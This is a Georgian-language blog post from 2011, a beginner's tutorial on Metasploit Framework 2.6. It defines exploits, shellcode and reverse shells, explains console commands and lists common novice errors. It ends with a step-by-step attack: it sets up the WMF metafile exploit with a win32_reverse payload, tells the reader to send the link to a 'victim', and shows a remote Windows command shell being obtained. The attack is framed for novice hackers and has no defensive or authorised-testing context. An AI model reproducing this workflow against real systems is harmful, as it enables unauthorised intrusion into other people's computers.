Thursday, August 4, 2011

მეტასპლოიტი ახალბედებისთვის

ბევრს მოგისმენიათ ალბათ სიტყვები: მეტასპლოიტი, მეტაფაილი, ექსპლოიტი, შელი, ბაგი. ეს კითხვები დამწყებ ჰაკერებს, კოდერებს, უჩნდებათ, ეს სტატია არის ზუსტად მათთვის, ამ სტატიაში მოგიყვებით რა არის metasploit freamwork და როგორ უნდა მისი გამოყენება, თავიდანვე გეტყვით რომ ეს სტატია არის იმათთვის ვისი მხრიდანაც ისმის ასეთი სახის კითხვები:

1.
cd \
cd %SystemRoot%\system32
msfconsole: chdir: failed to change directory No such file or directory
როგორ გავიგო ეს???


2. ან დაახლოებით ესეთი:
+ -- --=[ msfconsole v2.6 [145 exploits - 75 payloads]

msf > ls exploits
ls: exploits: No such file or directory
msf >

რა ხდება რამე გავაფუჭე???

1.ძირითადი ტერმინების ახსნა რომელიც იქნება გამოყენებული. (მცოდნეებს შეგიძლიათ გამოტოვოთ)


ექსპლოიტი: (ინგლ. exploit — გამოიყენო) — ეს არის საერთო ტერმინი კომპიუტერულ უსაფრთხოებაში რომელიც მოიცავს პროგრამულ კოდს რომელიც რომელიმე აღმოჩენილი შეცდომის ხარჯზე, გვიმატებს პრივილეგიას ან იძულებულს ხდის მთლიან კომპიუტერს "დაეკიდოს" უარი გვითხრას მომსახურებაში;
შელ-კოდი: "გარსის კოდი", (ინგლ. shellcode) — ეს არის ორმაგად გამოსაყენებადი კოდი, რომელიც როგორც ჩვეულებრის მართვას გადასცემს კონსოლს, მაგალითად '/bin/sh' Unix shell, command.com, MS-DOSსა და cmd.exe ში, Microsoft Windows ოპერატიულ სისტემაში. კოდის გარსი შეიძლება იქნას გამოყენებული როგორც ექსპლოიტის სასარგებლო დატვირთვა, რომელიც უზრუნველყოფს ხელმისაწვდომობას cmd.exe მდე ან console ამნდე კომპიუტერულ სისტემაში.*

რევერს-შელი: გარკვეული შეცდომის ექსპლუტირების დროს შელ-კოდს შეუძლია გახსნას წინასწარ განსაზღვრული TCP პორტი რომელიც უკავშირდება ამ შეცდომას, რისი საშუალებითაც იქნება განხორციელებული შემდგომი წვდომა ბრძანებათა გარსამდე, ასეთ კოდს ეწოდება მიბმული პორტზე (ინგლ. port binding shellcode). თუ შელ-კოდს არ აქვს პორტზე მიბმის საშვალება მაშინ უნდა შევეცადოთ NAT ის გვერძე ავლა, ასეთ კოდს კი ეწოდება უკანა გარსის კოდი (ინგლ. reverse shell shellcode).


ბაგი, შეცდომა(სტატიაში ვიხმარ ინგლისური სიტყვით vulnerability): კომპიუტერულ უსაფრთხოებაში ტერმინი vulnerability გამოიყენება ისეთი ადგილის ხაზის გასასმელად სისტემაში რომელიც არის ნაკლებად დაცული ან გახსნილი შემტევისთვის. vulnerability შეიძლება წარმოიქმნეს პროგრამირების დროს დაშვებული შეცდომის ან არასწორად მიწოდებული ინფორმაციის გადამუშავების დროს. vulnerability შეიძლება იყოს მხოლოდ თეორიულად ან, ქონდეს დაწერილი უკვე გავრცელებული ექსპლოიტი. vulnerability ს როგორც ჩვეულებრივ გამოიყენებს შემტევი რომ მოატყუოს, გვერდი აუაროს, პროგრამას, აპლიკაციას, ან დაცვის სისტემას. ზოგიერთი vulnerability წარმოიქმნება ინფორმაციის არასაკმარისად შემოწმების დროს, რომელიც შეყავს მომხმარებელს; ხშირად ეს გამოიყენება რომ პირდაპირ შესრულდეს SQL ბრძანებები (SQL-ინექცია). ზოგიერთი vulnerability წარმოიქმნება ინფორმაციის ჩაწრისას ბუფერში, მისი საზღვრის შემოწმების გარეშე, საბოლოო ჯამში ბუფერი გადაივსება, რაც მიგვიყვანს იქმდე რომ შევძლებთ სასურველი კოდის შეტანას სისტემაში.

Cygwin (ციგვინი): სხვადასხვა პროგრამული ინსტრუმენტების ნაკრები რომელსაც იშვებს ფირმა სახელწოდებით: Cygnus Solutions. ის შესაძლებლობას გვაძლევს შევამოწმოთ ოპერატიული სისტემის Microsoft Windows სხვადასხვა ვერსიები და ზოგიერთი ვერსია Unix-სისტემიდან. თავიდან Cygwin ჩაფიქრებული იყო იმისთვის რათა შესაძლებლობა გვქონოდა გადაგვეატა პროგრამები POSIX- სისტემებიდან (როგორებიც არის GNU/Linux, BSDდა UNIX) Windows სში. პროგრამები რომელიჩ არის ჩაქსოვილი Cygwin ში, ყველაზე კარგად მუშაობენ Windows NT, Windows 2000, Windows XP და Windows Server 2003 ში, მაგრამ ზოგიერთ შემთხვევაში შესაძლოა იქნეს გამოყენებული Windows 95 სა და Windows 98 ში. ახლა უკვე Cygwin იქმნება Red Hat პროექტის და სხვა პროგრამისტების მიერ. ასეთივე ფუნქციებს გვთავაზობს Microsoft თავის პაკეტში Services for UNIX, რომელიც აგრეთვე მოიცავს ქვესისტემა Interix ს.*

Perl (პერლი): პროგრამული ენა რომელიც შექმნილია ლარი უოლლ ის მიერ (Larry Wall). თვითონ სიტვა Perl — არის აბრივიატურა, რომელიც იშიფრება როგორც Practical Extraction and Report Language (პრაქტიკული გამოსახვის და მოხსენების ენა), თავიდან ერქვა PEARL, მაგრამ შემდეგ ასო «A» «დაიკარგა»). არსებობს კიდე სხვა ვარიანტები. მათგან ყველაზე ლამაზის მიხედვისთ სიტყა perl წარმოიქმნა სიტყვა pearl (მარგალიტი). პროგრამული ენის Perl ის თალისმანი არის აქლემი 

2. რა არის Metasploit Framework?

Metasploit Framework (აღწერის მიხედვით) ეს არის სრული გარემო ექპლოიტების ტესტრებისათვის და გამოყებისთვის. ეს არის დასრულებილი გარემო რომელიც გვაძლევს მყარ პლათფორმას რათა შეღწევუს ხარჯზე შეიქმნას ახალი შელ-კოდები და გამოიძიოს ახალი vulnerability, ". დაწერილია Perl ზე (ასამბლერის, Python ის და C ნაწილების გამოყენებით) – აქედან არა არის მიბმული რომელიმე ერთ პლათფორმაზე – შესაძლებლობა აქვს იმუშავოს ნებისმიერ სისტემაზე, სადაც არის ინტერპრეტატორი Perl ი. ამ მომენტისთვის Metasploit Framework ის პაკეტი ფუნქციონირებს როგორც Linux ზე ასევე Windows სა და Мас ზე. პრგრამის პაკეტის გარკვეული ვერსიები ოპერატიულ სისტემასთან შეფარდებით გადმოტვირთვა შეგიძლიათ აქhttp://www.metasploit.com/
(პაკეტი Windows ის ქვეშ იყენებს Cygwin, რაც ძაან მოსახერხებელია. ეს გვაძლევს საშვალებას ხელმისაწვლომი იყოს კონსოლი. მაგრამ წარმოიქმნა რაღაც პრობლემები Active Perl თან, ამიტომაც გამოიყენება მხოლო Cygwin Perl ის მხარდაჭერა.
3. დაყენება ( win- სისტემის მომხმარებლისთვის)

ინსტალატორი windows ისთვის მოიცავს ყველა საჭირო ელემენრს (Сygwin, Perl), ასე რომ windows ის მომხმარებელს დამატებითი გადმოტვირთვები არ სჭირდება.
(განვიხილავთ framework-2.6.exe )
გავააქტიურებთ ინსტალერ: framework-2.6.exe

მივიღებთ: C:\Program Files\Metasploit Framework\ ში
cygwin.bat (41.0B) - cygwin ჩატვირთვა
msfconsole.bat (86.0B) - MSF კონსოლების ჩატვირთვა
msfupdate.bat (85.0B) - განახლების ძებნა და პოვნის შემთხვევაში გადმოთვირთვა და დაყენება
msfweb.bat (82.0B) - პაკეტის WEB-ინტერფეისი
Metasploit Framework.url (51.0B) -ლინკი გამომგონებლების საიტზე
uninst.exe (47.6KB) - პაკეტის წაშლა
და ასევე ფოლდერები bin, etc, home, lib, sbin, tmp, usr, var - Unix-სისტემის ფოლდერები.

4. გამოყენება.

Metasploit Framework ის პაკეტს აქვს 2 ნაირი გამოყენების საშვალება: msfconsole (კონსოლური) და web- ინტერფეისი msfweb. განვიხილავთ msfconsole ში მუშაობას, დამატებითი ბრძანებების გამოსანათებლად გამოვიყენებთ ბრძანება help ს და განვიხილავთ მოცემულ ბრძანებებს

msf > help

Metasploit Framework Main Console Help
======================================


? ------------ Show the main console help (დახმარების მთავარი ფანჯარა)
cd ----------- Change working directory (სამუშაო დირექტორიის არჩევა)
exit ---------- Exit the console (კონსოლიდან გამოსვლა)
help --------- Show the main console help (დახმარების მთავარი ფანჯარა)
info ---------- Display detailed exploit or payload information (საჩვენებლად გამოვიტანოთ დამატებითი ინფორამცია ექსპლოიტებზე ან მის დამატება)
quit ---------- Exit the console (კონსოლიდან გამოსვლა)
reload -------- Reload exploits and payloads (ექსპლოიტების განახლება, რესტარტი)
save --------- Save configuration to disk (კონფიგურაციების შენახვა მყარ დისკზე)
setg ---------- Set a global environment variable (გლობალური გარემოს ცვლადის შენახვა, ინსტალირება)
show --------- Show available exploits and payloads (ვნახოთ ექსპლოიტები ან მისი დამატებები)
unsetg ------- Remove a global environment variable (გლობალური გარემოს ცვლადის წაშლა)
use ----------- Select an exploit by name (ექპლოიტის არჩევა მისი სახელიშ მიხედვით შემდგომი გამოყენებისთვუს)
version ------- Show console version (კონსოლის ვერსიის ნახვა)
----რაც არ არის help ში-----

ls ------------- List the current directory (ფაილების გამოჩენა დირექტორიაში)
exploit -------- Run exploit (ექსპტოიტის გააქტიურება)
msf >

cd [დირექტორიის_სახელი]- სტანდარტული ბრძანება (ისევე როგორც cmd ში, და ძველისძველ dos ში - აქაც იგივე დატვირთვა აქვს)
use [ექსპლოიტის_სახელი], და შემდეგ გავააქტიუროთ ცვლადი PAYLOAD.


5. 90% ახალბედების გავრცელებული შეცდომები.



1 შეცდომა.
უსერის პირველი ბრძანება კონსოლის ჩატვირთვის შემდეგ ls exploits
ამის შემდეგ მათ ასეთი სიტუაცია დახვდებათ:

msf > ls exploits
ls: exploits: No such file or directory
msf >

და ყველა ფიქრობს რომ მათ არ აქვთ ექსპლოიტები!
მაგრამ საჭიროა გამოვიყენოთ მხოლოდ ბრძანება ls პარამეტრის გარეშე, რომ ვნახოთ სად ვიმყოფებით.

msf > ls
framework perl.exe.stackdump run_msfupdate userguide.pdf
framework.tar run_msfconsole run_msfweb
msf >

აი ახლა კი ვხედავთ რომ, ფოლდერი რომელიც ექსპლოიტებით გატენილი უნდა იყოს ამ დირექტორიაში არ არის, ის არის ფოლდერში framework.
ამიტომაც უნდა გადავიდეთ freamwork ფოლდერში:

msf > cd framework
msfconsole: chdir: changed to directory framework
msf >

კაია, ეხლა ვნახოთ რას გვაჩვენებს ბრძანება ls:

msf > ls
data exploits msfcli msfencode msfpescan nops src
docs extras msfconsole msflogdump msfupdate payloads tools
encoders lib msfelfscan msfpayload msfweb sdk
msf >

რამდენი რამეა არეული ექსპლოიტები, დამატებები, და ფაილები, აი ეხლა შეიძლება გამოვიყენოთ ბრძანება: ls exploits

msf > ls exploits
3com_3cdaemon_ftp_overflow.pm mozilla_compareto.pm
Credits.pm ms05_039_pnp.pm
-------------много других эксплоитов-------------------
mercantec_softcart.pm wsftp_server_503_mkd.pm
mercur_imap_select_overflow.pm wzdftpd_site.pm
mercury_imap.pm ypops_smtp.pm
minishare_get_overflow.pm zenworks_desktop_agent.pm
msf >



2 შეცდომა

ბრძანება use [ექსპლოიტის_სახელი.pm]

msf > use ie_xp_pfv_metafile.pm
msfconsole: use: please specify a valid exploit name
msf >

ექსპლოიტის გაFართოების pm -ს დაწერა არ არის საჭირო!

msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile >


3 შეცდომა

ექსპლოიტის არჩევის შემდეგ საჭიროა დამატების ამორჩევა

msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) > exploit
Error: Missing required option: LHOST
msf ie_xp_pfv_metafile(win32_reverse) >

ეს რაღა ჯანდაბა?! დაგავთარგმნი: არ არის მითითებული, ან არ შეესაბამება პარამეტრი LHOST
ჩემი რჩევა იქნება როგორც კი და იწყებთ ექსპლოიტტ=თან მუშაობას, ანუ მისი ამორცევის შემდეგ მიუთითოთ პარამეტრები რომელიც არის set ბრძანების დამატებითი პარამეტრები.
ყველა ექსპლოიტს შეიძლება სხვადასხვა რაოდენობის ასეთი პარამეტრი ქონდეს
და რა ვქნათ? როგორ გავიგოთ რომელ ექსპლოიტს რამდენი პარამეტრი აქვს? პასუხი უკვე იყო ზევით როცა help`ს განვიხილავდით! ბრზანება info [ექსპლოიტის_სახელი], მაგალითად გავიგოთ ყველაფერი wmf-сплоит (ie_xp_pfv_metafile) ექპლოიტზე

msf > info ie_xp_pfv_metafile
Name: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Executi
Class: remote
Version: $Revision: 1.18 $
Target OS: win32, winxp, win2003
Keywords: wmf
Privileged: No
Disclosure: Dec 27 2005

Provided By:
H D Moore <hdm [at] metasploit.com
san <san [at] xfocus.org>
O600KO78RUS[at]unknown.ru

Available Targets:
Automatic - Windows XP / Windows 2003 / Windows Vista

Available Options:

Exploit: Name Default Description
-------- -------- ------- --------------------------------------
optional REALHOST External address to use for redirects
T)
optional HTTPHOST 0.0.0.0 The local HTTP listener host
required HTTPPORT 8080 The local HTTP listener port

..........გამოტოვებულია.............
msf >

აი თქვენ სრული ინოფრმაცია ექსპლოიტზე მაგრამ ჩვენ გვჭირდებაoptional
ზარმაცებისთვის:
HTTPHOST (LHOST) - ლოკალური IP მისამართი საიდანაც დაწყებს მოქმედებას ექსპლოიტი (შენი კომპიუტერის IP მისმართი)
HTTPORT (LPORT) - მისი პორტი (8080 - საწყისი(default))
REALHOST (RHOST) - შიდა IP რედირექტისთვის 
4. შეცდომა
>msf ie_xp_pfv_metafile(win32_reverse) > exploit
msf >Could not start listener: Operation not permitted
რა ვქნა? - გავანთავისუფლოთ პორტი ან გამოვიყენოთ სხვა ასეთი ბრზანებით მაგალითად : set LPORT 8081


5 შეცდომა
Client connected from ххх.ххх.ххх.ххх:1879... 
Undefined subroutine &Pex::Utils::JSUnescape called at /home/framework/exploits/ 
ie_vml_rectfill.pm line 156. 
Exiting Reverse Handler. 
msf ie_vml_rectfill(win32_reverse) >
რა ხდება? ბევრი რო არ ვილაპარაკოთ ეს ნიშნავს იმას რომ გადმოწერეთ ახალი ექსპლოიტი და ცდილობდით აგემუშავებინათ ძველ პაკეტში. შეცდომის აღმოსაფხვრელად ვაკეთებთ განახლებას ან ჩვენ თვითონ ვიწერთ ახალ პაკეტს და ვაყენებთ

6. მაგალითი
(პრაქტიკული გამოყენება).
ექსპლოიტი: ie_xp_pfv_metafile, დამატება win32_reverse

msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set LHOST 10.0.0.1
LHOST -> 10.0.0.1

მაშ ასე გავერკვიეთ ყველა საჭირო პარამეტრი მივუთითეთ, ეხლა უნდა მივუთითოთ დამატება:
ბარძანება: set PAYLOAD [დამატების_სახელი],

msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) >msf ie_xp_pfv_metafile(win32_reverse) > exploit
[*] Starting Reverse Handler.
[*] Waiting for connections to http://10.0.0.1:8080/

მზად არის! კონსოლი გვეუბნება რომ ელოდება შეერთებას ამ მისამართზე http://10.0.0.1:8080/
შევტენოთ ლინკი მსხვერპლს...


[*] HTTP Client connected from 10.0.0.2:1116, redirecting... - клиент соединился, его IP 10.0.0.2:1116, редирект
[*] HTTP Client connected from 10.0.0.2:1117, sending 1604 bytes of payload... - отправлено 1604 байт начинки (реверс-шелл тут)
[*] Got connection from 10.0.0.1:4321 <-> 10.0.0.2:1118 - установлено соединение (пайп с cmd удалённого компа)
Microsoft Windows XP [Version 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\lamer>

ეს რა არის!

1 comment: